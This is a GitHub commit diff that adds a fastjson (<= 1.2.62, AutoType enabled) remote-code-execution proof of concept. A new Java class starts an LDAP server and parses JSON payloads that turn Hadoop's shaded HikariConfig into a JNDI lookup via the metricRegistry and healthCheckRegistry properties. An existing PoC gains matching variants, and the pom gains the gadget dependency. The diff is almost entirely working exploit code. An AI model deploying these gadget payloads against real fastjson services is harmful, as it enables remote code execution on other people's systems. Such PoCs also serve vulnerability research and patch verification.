File tree Expand file tree Collapse file tree 3 files changed +43
-0
lines changed
src/main/java/com/threedr3am/bug/fastjson Expand file tree Collapse file tree 3 files changed +43
-0
lines changed Original file line number Diff line number Diff line change 8181 <artifactId >Anteros-DBCP</artifactId >
8282 <version >1.0.1</version >
8383 </dependency >
84+
85+ <!-- https://mvnrepository.com/artifact/org.apache.hadoop/hadoop-client-minicluster -->
86+ <dependency >
87+ <groupId >org.apache.hadoop</groupId >
88+ <artifactId >hadoop-client-minicluster</artifactId >
89+ <version >3.2.1</version >
90+ </dependency >
8491 </dependencies >
8592</project >
Original file line number Diff line number Diff line change 1+ package com .threedr3am .bug .fastjson ;
2+
3+ import com .alibaba .fastjson .JSON ;
4+ import com .alibaba .fastjson .parser .ParserConfig ;
5+ import com .threedr3am .bug .common .server .LdapServer ;
6+
7+ /**
8+ * fastjson <= 1.2.62 RCE,需要开启AutoType (report by threedr3am to ASRC)
9+ *
10+ * <dependency>
11+ * <groupId>org.apache.hadoop</groupId>
12+ * <artifactId>hadoop-client-minicluster</artifactId>
13+ * <version>3.2.1</version>
14+ * </dependency>
15+ *
16+ * @author threedr3am
17+ */
18+ public class HadoopHikariPoc {
19+ static {
20+ //rmi server示例
21+ // RmiServer.run();
22+
23+ //ldap server示例
24+ LdapServer .run ();
25+ }
26+
27+ public static void main (String [] args ) {
28+ ParserConfig .getGlobalInstance ().setAutoTypeSupport (true );
29+
30+ String payload = "{\" @type\" :\" org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig\" ,\" metricRegistry\" :\" ldap://localhost:43658/Calc\" }" ;
31+ String payload2 = "{\" @type\" :\" org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig\" ,\" healthCheckRegistry\" :\" ldap://localhost:43658/Calc\" }" ;
32+ JSON .parse (payload );
33+ }
34+ }
Original file line number Diff line number Diff line change @@ -33,7 +33,9 @@ public static void main(String[] args) {
3333 ParserConfig .global .setAutoTypeSupport (true );
3434
3535// String payload = "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"rmi://localhost:43657/Calc\"}";
36+ // String payload = "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"healthCheckRegistry\":\"rmi://localhost:43657/Calc\"}";
3637 String payload = "{\" @type\" :\" com.zaxxer.hikari.HikariConfig\" ,\" metricRegistry\" :\" ldap://localhost:43658/Calc\" }" ;
38+ String payload2 = "{\" @type\" :\" com.zaxxer.hikari.HikariConfig\" ,\" healthCheckRegistry\" :\" ldap://localhost:43658/Calc\" }" ;
3739 JSON .parse (payload );
3840 }
3941}
You can’t perform that action at this time.
0 commit comments